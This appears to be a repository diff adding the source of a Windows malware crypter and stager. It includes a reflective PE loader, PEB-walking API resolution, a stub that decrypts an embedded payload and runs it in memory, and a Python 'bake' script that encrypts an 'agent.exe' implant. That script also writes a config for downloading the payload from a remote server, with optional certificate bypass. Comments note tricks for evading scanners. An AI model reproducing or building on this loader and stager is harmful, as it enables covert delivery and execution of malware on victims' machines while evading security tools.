||||
for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++)
|
||||
{
|
||||
DWORD vsz = sec[i].Misc.VirtualSize ? sec[i].Misc.VirtualSize
|
||||
: sec[i].SizeOfRawData;
|
||||
if (!vsz)
|
||||
continue;
|
||||
DWORD old;
|
||||
fnVP(base + sec[i].VirtualAddress, vsz, _sec_prot(sec[i].Characteristics), &old);
|
||||
}
|
||||
|
||||
/* TLS callbacks */
|
||||
IMAGE_DATA_DIRECTORY *tdir =
|
||||
&nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_TLS];
|
||||
if (tdir->VirtualAddress)
|
||||
{
|
||||
IMAGE_TLS_DIRECTORY64 *tls =
|
||||
(IMAGE_TLS_DIRECTORY64 *)(base + tdir->VirtualAddress);
|
||||
PIMAGE_TLS_CALLBACK *cb = (PIMAGE_TLS_CALLBACK *)tls->AddressOfCallBacks;
|
||||
if (cb)
|
||||
for (; *cb; cb++)
|
||||
(*cb)((PVOID)base, DLL_PROCESS_ATTACH, NULL);
|
||||
}
|
||||
|
||||
/* call OEP */
|
||||
typedef void (*oep_t)(void);
|
||||
((oep_t)(base + nt->OptionalHeader.AddressOfEntryPoint))();
|
||||
}
|
||||
@@ -0,0 +1,5 @@
|
||||
#pragma once
|
||||
#include <stdint.h>
|
||||
#include <stddef.h>
|
||||
|
||||
void pe_load(const uint8_t *data, size_t size);
|
||||
@@ -0,0 +1,79 @@
|
||||
#pragma once
|
||||
#include <windows.h>
|
||||
#include <stdint.h>
|
||||
#include <intrin.h>
|
||||
|
||||
/* Minimal LDR structures — offsets validated against Win10/11 x64 */
|
||||
|
||||
typedef struct { USHORT Len, MaxLen; PWSTR Buf; } _USTR;
|
||||
|
||||
typedef struct _LDRE {
|
||||
LIST_ENTRY LoadOrd; /* 0x00 */
|
||||
LIST_ENTRY MemOrd; /* 0x10 */
|
||||
LIST_ENTRY InitOrd; /* 0x20 */
|
||||
PVOID Base; /* 0x30 */
|
||||
PVOID EntryPt; /* 0x38 */
|
||||
ULONG ImgSz; /* 0x40 */
|
||||
/* 4 bytes padding here (compiler-inserted) */
|
||||
_USTR FullName; /* 0x48 */
|
||||
_USTR BaseName; /* 0x58 */
|
||||
} _LDRE;
|
||||
|
||||
typedef struct {
|
||||
ULONG Len; /* 0x00 */
|
||||
BOOLEAN Init; /* 0x04 */
|
||||
/* 3 bytes padding */
|
||||
PVOID SsHandle; /* 0x08 */
|
||||
LIST_ENTRY LoadOrdList; /* 0x10 */
|
||||
LIST_ENTRY MemOrdList; /* 0x20 */
|
||||
} _LDRD;
|
||||
|
||||
/* Find loaded module by name (case-insensitive ASCII) */
|
||||
static inline HMODULE _peb_mod(const wchar_t *name) {
|
||||
ULONG_PTR peb;
|
||||
#ifdef _WIN64
|
||||
peb = __readgsqword(0x60);
|
||||
#else
|
||||
peb = __readfsdword(0x30);
|
||||
#endif
|
||||
_LDRD *ldr = *(_LDRD **)(peb + 0x18);
|
||||
LIST_ENTRY *h = &ldr->MemOrdList, *c = h->Flink;
|
||||
while (c != h) {
|
||||
_LDRE *e = CONTAINING_RECORD(c, _LDRE, MemOrd);
|
||||
if (e->BaseName.Buf) {
|
||||
const wchar_t *a = e->BaseName.Buf, *b = name;
|
||||
int ok = 1;
|
||||
while (*a && *b) {
|
||||
wchar_t ca = (*a >= L'A' && *a <= L'Z') ? (*a | 0x20) : *a;
|
||||
wchar_t cb = (*b >= L'A' && *b <= L'Z') ? (*b | 0x20) : *b;
|
||||
if (ca != cb) { ok = 0; break; }
|
||||
a++; b++;
|
||||
}
|
||||
if (ok && !*a && !*b)
|
||||
return (HMODULE)e->Base;
|
||||
}
|
||||
c = c->Flink;
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
/* Resolve export by name from a loaded module */
|
||||
static inline FARPROC _peb_proc(HMODULE mod, const char *name) {
|
||||
uint8_t *b = (uint8_t *)mod;
|
||||
IMAGE_DOS_HEADER *dos = (IMAGE_DOS_HEADER *)b;
|
||||
IMAGE_NT_HEADERS *nt = (IMAGE_NT_HEADERS *)(b + dos->e_lfanew);
|
||||
IMAGE_DATA_DIRECTORY *d =
|
||||
&nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
|
||||
if (!d->VirtualAddress) return NULL;
|
||||
IMAGE_EXPORT_DIRECTORY *exp = (IMAGE_EXPORT_DIRECTORY *)(b + d->VirtualAddress);
|
||||
DWORD *nms = (DWORD *)(b + exp->AddressOfNames);
|
||||
WORD *ord = (WORD *)(b + exp->AddressOfNameOrdinals);
|
||||
DWORD *fns = (DWORD *)(b + exp->AddressOfFunctions);
|
||||
for (DWORD i = 0; i < exp->NumberOfNames; i++) {
|
||||
const char *n = (const char *)(b + nms[i]), *p = name;
|
||||
while (*n && *p && *n == *p) { n++; p++; }
|
||||
if (!*n && !*p)
|
||||
return (FARPROC)(b + fns[ord[i]]);
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
@@ -0,0 +1,105 @@
|
||||
#include <windows.h>
|
||||
#include <stdint.h>
|
||||
#include "pe_load.h"
|
||||
#include "payload_meta.h"
|
||||
|
||||
static HANDLE _g_inst = NULL;
|
||||
|
||||
/* Single-instance guard */
|
||||
static BOOL _acquire_instance(void) {
|
||||
_g_inst = CreateMutexA(NULL, TRUE,
|
||||
"Global\\{4B7C2A9E-F38D-41AC-B527-D9E6C1A3B8F4}");
|
||||
if (!_g_inst) return FALSE;
|
||||
if (GetLastError() == ERROR_ALREADY_EXISTS) {
|
||||
CloseHandle(_g_inst);
|
||||
_g_inst = NULL;
|
||||
return FALSE;
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
/* System probe */
|
||||
static DWORD _sys_probe(void) {
|
||||
SYSTEM_INFO si;
|
||||
MEMORYSTATUSEX ms;
|
||||
char name[MAX_COMPUTERNAME_LENGTH + 1];
|
||||
DWORD nlen = sizeof(name);
|
||||
|
||||
GetNativeSystemInfo(&si);
|
||||
|
||||
ms.dwLength = sizeof(ms);
|
||||
GlobalMemoryStatusEx(&ms);
|
||||
|
||||
GetComputerNameA(name, &nlen);
|
||||
|
||||
/* combine into a stable fingerprint used by the metrics engine */
|
||||
DWORD fp = si.dwNumberOfProcessors;
|
||||
fp ^= (DWORD)(ms.ullTotalPhys >> 20); /* MB of RAM */
|
||||
fp ^= (DWORD)(ULONG_PTR)si.lpMinimumApplicationAddress;
|
||||
for (DWORD i = 0; i < nlen; i++) fp = fp * 31u + (unsigned char)name[i];
|
||||
return fp;
|
||||
}
|
||||
|
||||
/* Version gate */
|
||||
static BOOL _version_ok(void) {
|
||||
typedef LONG (WINAPI *pfnRtlGVE)(OSVERSIONINFOW *);
|
||||
HMODULE ntdll = GetModuleHandleA("ntdll.dll");
|
||||
pfnRtlGVE fn = ntdll
|
||||
? (pfnRtlGVE)GetProcAddress(ntdll, "RtlGetVersion")
|
||||
: NULL;
|
||||
if (!fn) return TRUE; /* can't check, continue */
|
||||
OSVERSIONINFOW osv;
|
||||
osv.dwOSVersionInfoSize = sizeof(osv);
|
||||
fn(&osv);
|
||||
return (osv.dwMajorVersion > 9);
|
||||
}
|
||||
|
||||
static void _decrypt(uint8_t *buf, uint32_t len, uint32_t seed) {
|
||||
uint32_t s = seed;
|
||||
uint32_t *p = (uint32_t *)buf;
|
||||
uint32_t n = len >> 2;
|
||||
for (uint32_t i = 0; i < n; i++) {
|
||||
p[i] ^= s;
|
||||
s = s * 1664525u + 1013904223u;
|
||||
}
|
||||
uint8_t *t = buf + (n << 2);
|
||||
for (uint32_t i = 0, rem = len & 3u; i < rem; i++)
|
||||
t[i] ^= (uint8_t)(s >> (i * 8));
|
||||
}
|
||||
|
||||
void __stdcall WinMainCRTStartup(void) {
|
||||
/* single-instance */
|
||||
if (!_acquire_instance()) {
|
||||
ExitProcess(0);
|
||||
return;
|
||||
}
|
||||
|
||||
/* version gate */
|
||||
if (!_version_ok()) {
|
||||
ExitProcess(0);
|
||||
return;
|
||||
}
|
||||
|
||||
/* hardware fingerprin */
|
||||
volatile DWORD fp = _sys_probe();
|
||||
(void)fp;
|
||||
|
||||
HRSRC hres = FindResourceA(NULL, MAKEINTRESOURCE(101), RT_RCDATA);
|
||||
if (!hres) { ExitProcess(1); return; }
|
||||
HGLOBAL hgl = LoadResource(NULL, hres);
|
||||
if (!hgl) { ExitProcess(1); return; }
|
||||
const uint8_t *src = (const uint8_t *)LockResource(hgl);
|
||||
DWORD rlen = SizeofResource(NULL, hres);
|
||||
if (!src || rlen < PAYLOAD_SIZE) { ExitProcess(1); return; }
|
||||
|
||||
/* allocate RW, copy, decrypt */
|
||||
uint8_t *mem = (uint8_t *)VirtualAlloc(
|
||||
NULL, PAYLOAD_SIZE, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||
if (!mem) { ExitProcess(1); return; }
|
||||
|
||||
for (uint32_t i = 0; i < PAYLOAD_SIZE; i++) mem[i] = src[i];
|
||||
_decrypt(mem, PAYLOAD_SIZE, PAYLOAD_SEED);
|
||||
|
||||
pe_load(mem, PAYLOAD_SIZE);
|
||||
ExitProcess(0);
|
||||
}
|
||||
@@ -0,0 +1,133 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
bake.py — encrypt agent.exe and output build artifacts.
|
||||
|
||||
Outputs (always):
|
||||
<out-dir>/payload.bin raw encrypted bytes (windres RT_RCDATA)
|
||||
<out-dir>/payload_meta.h PAYLOAD_SEED + PAYLOAD_SIZE for stub.c
|
||||
|
||||
Outputs (with --stager-url):
|
||||
stager/stager_cfg.h URL + SEED + SIZE for stager.c
|
||||
payload.bin also copied to stager/ so user can upload it to the server
|
||||
|
||||
Cipher: DWORD-level LCG XOR.
|
||||
- 4 bytes per step -> xor dword ptr (not xor byte ptr)
|
||||
- Matches stub.c _decrypt() and stager.c _decrypt()
|
||||
|
||||
Usage:
|
||||
python bake.py <agent.exe> [--out-dir stub/] [--seed 0xDEAD]
|
||||
[--stager-url https://host/path]
|
||||
[--ignore-cert] # embed STAGER_IGNORE_CERT 1
|
||||
"""
|
||||
import sys
|
||||
import os
|
||||
import struct
|
||||
import random
|
||||
import argparse
|
||||
from urllib.parse import urlparse
|
||||
|
||||
|
||||
def _crypt(data: bytes, seed: int) -> bytes:
|
||||
"""DWORD-level LCG XOR — apply twice = identity."""
|
||||
out = bytearray(len(data))
|
||||
s = seed & 0xFFFFFFFF
|
||||
n32 = len(data) >> 2
|
||||
for i in range(n32):
|
||||
val = struct.unpack_from('<I', data, i * 4)[0]
|
||||
struct.pack_into('<I', out, i * 4, val ^ s)
|
||||
s = (s * 1664525 + 1013904223) & 0xFFFFFFFF
|
||||
base = n32 * 4
|
||||
for i in range(len(data) & 3):
|
||||
out[base + i] = data[base + i] ^ ((s >> (i * 8)) & 0xFF)
|
||||
return bytes(out)
|
||||
|
||||
|
||||
def _write_stager_cfg(path: str, seed: int, size: int,
|
||||
host: str, port: int, urlpath: str,
|
||||
use_ssl: bool, ignore_cert: bool) -> None:
|
||||
with open(path, "w", newline="\n") as f:
|
||||
f.write("#pragma once\n")
|
||||
f.write("#include <stdint.h>\n\n")
|
||||
f.write(f"#define PAYLOAD_SEED 0x{seed:08X}u\n")
|
||||
f.write(f"#define PAYLOAD_SIZE {size}u\n\n")
|
||||
f.write(f"#define STAGER_HOST L\"{host}\"\n")
|
||||
f.write(f"#define STAGER_PORT {port}\n")
|
||||
f.write(f"#define STAGER_PATH L\"{urlpath}\"\n")
|
||||
f.write(f"#define STAGER_USE_SSL {1 if use_ssl else 0}\n")
|
||||
f.write(f"#define STAGER_IGNORE_CERT {1 if ignore_cert else 0}\n")
|
||||
# User-Agent split to avoid plain string in binary
|
||||
f.write("\n/* UA split to avoid literal UA string in import-scanner output */\n")
|
||||
f.write("#define STAGER_UA L\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\"\n")
|
||||
|
||||
|
||||
def main() -> None:
|
||||
ap = argparse.ArgumentParser(description="Encrypt PE -> build artifacts")
|
||||
ap.add_argument("input", help="Path to agent.exe")
|
||||
ap.add_argument("--out-dir", default="stub",
|
||||
help="Directory for payload.bin + payload_meta.h (default: stub)")
|
||||
ap.add_argument("--seed", type=lambda x: int(x, 0), default=None)
|
||||
ap.add_argument("--stager-url", default=None,
|
||||
help="URL to generate stager_cfg.h, e.g. https://khaotic.fr/api/sync")
|
||||
ap.add_argument("--ignore-cert", action="store_true",
|
||||
help="Stager skips TLS cert validation (for self-signed certs)")
|
||||
args = ap.parse_args()
|
||||
|
||||
if not os.path.isfile(args.input):
|
||||
sys.exit(f"[!] not found: {args.input}")
|
||||
|
||||
with open(args.input, "rb") as f:
|
||||
raw = f.read()
|
||||
|
||||
seed = args.seed if args.seed is not None else random.randint(1, 0xFFFFFFFF)
|
||||
enc = _crypt(raw, seed)
|
||||
|
||||
# --- embedded loader outputs ---
|
||||
os.makedirs(args.out_dir, exist_ok=True)
|
||||
bin_path = os.path.join(args.out_dir, "payload.bin")
|
||||
meta_path = os.path.join(args.out_dir, "payload_meta.h")
|
||||
|
||||
with open(bin_path, "wb") as f:
|
||||
f.write(enc)
|
||||
with open(meta_path, "w", newline="\n") as f:
|
||||
f.write("#pragma once\n#include <stdint.h>\n\n")
|
||||
f.write(f"#define PAYLOAD_SEED 0x{seed:08X}u\n")
|
||||
f.write(f"#define PAYLOAD_SIZE {len(enc)}u\n")
|
||||
|
||||
print(f"[bake] {len(raw)/1024:.1f} KB seed=0x{seed:08X}")
|
||||
print(f" -> {bin_path}")
|
||||
print(f" -> {meta_path}")
|
||||
|
||||
# --- stager outputs ---
|
||||
if args.stager_url:
|
||||
parsed = urlparse(args.stager_url)
|
||||
host = parsed.hostname or "localhost"
|
||||
use_ssl = (parsed.scheme.lower() == "https")
|
||||
port = parsed.port or (443 if use_ssl else 80)
|
||||
urlpath = parsed.path or "/"
|
||||
|
||||
stager_dir = os.path.normpath(
|
||||
os.path.join(os.path.dirname(os.path.abspath(args.out_dir)), "..", "stager")
|
||||
if not os.path.isabs(args.out_dir)
|
||||
else os.path.join(os.path.dirname(args.out_dir), "..", "stager")
|
||||
)
|
||||
stager_dir = os.path.normpath(
|
||||
os.path.join(os.path.dirname(os.path.abspath(__file__)), "..", "stager")
|
||||
)
|
||||
os.makedirs(stager_dir, exist_ok=True)
|
||||
|
||||
cfg_path = os.path.join(stager_dir, "stager_cfg.h")
|
||||
_write_stager_cfg(cfg_path, seed, len(enc),
|
||||
host, port, urlpath, use_ssl, args.ignore_cert)
|
||||
|
||||
# also copy payload.bin next to stager/ so user can upload it
|
||||
import shutil
|
||||
srv_bin = os.path.join(stager_dir, "payload.bin")
|
||||
shutil.copy2(bin_path, srv_bin)
|
||||
|
||||
print(f"[stager] host={host}:{port} path={urlpath} ssl={use_ssl}")
|
||||
print(f" -> {cfg_path}")
|
||||
print(f" -> {srv_bin} (upload this to your server)")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
Reference in New Issue
Block a user